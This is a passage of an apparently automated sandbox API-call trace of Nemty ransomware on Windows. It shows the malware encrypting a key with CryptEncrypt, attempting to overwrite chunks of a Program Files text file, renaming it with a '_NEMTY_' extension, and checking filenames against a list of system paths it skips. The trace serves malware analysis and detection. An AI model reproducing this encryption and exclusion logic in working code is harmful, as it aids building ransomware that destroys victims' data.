lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceYi.txt", lpUsedDefaultChar=0x0) returned 22 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceYi.txt", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceYi.txt", lpUsedDefaultChar=0x0) returned 22 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0108.308] Sleep (dwMilliseconds=0x5) [0108.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4342f50, dwHighDateTime=0x1d561e7)) [0108.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4342f50, dwHighDateTime=0x1d561e7)) [0108.309] GetLastError () returned 0x5 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.309] GetLastError () returned 0x5 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.309] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0108.309] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653ef9c | out: pszString="QQDluGkqzr+svMGmZS78nZCOMbbDFU/sJb7dVkxre8YAetZeg+jhtGcG00dV+HCu\r\nDA081DlVrZtSiRfY+j0NvqE6fUNUdDnlJ33RD8rCZmMzSq1xMX2nobqPFEDplaIz\r\nC+BdC80RNkMo5cDc6qPaRf/CAwmn8GsurFyfU0gxJglz6qY9Xb5XfKyHu7paRzkV\r\nLT65UjOAspOO4UuqXwO1O2RkiB3SRNP9UQ3gfUFK4wn11LoIJIrZqd+IrK2eZ3x8\r\nkGsrcbQY/iqigxxpWy5Xf7IYFYbwvs6HIbk5dXvzSNL1yVprxlGqF+fFggus++fT\r\n8bETMauQJlg821G4XWfcJg==\r\n", pcchString=0x653ef9c) returned 1 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.309] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.309] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.423] CloseHandle (hObject=0xffffffff) returned 0 [0108.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0108.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0108.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt._nemty_kgobjgd_")) returned 0 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.423] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac80f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3ac80f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0108.423] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0108.423] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0108.423] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0108.424] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0108.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 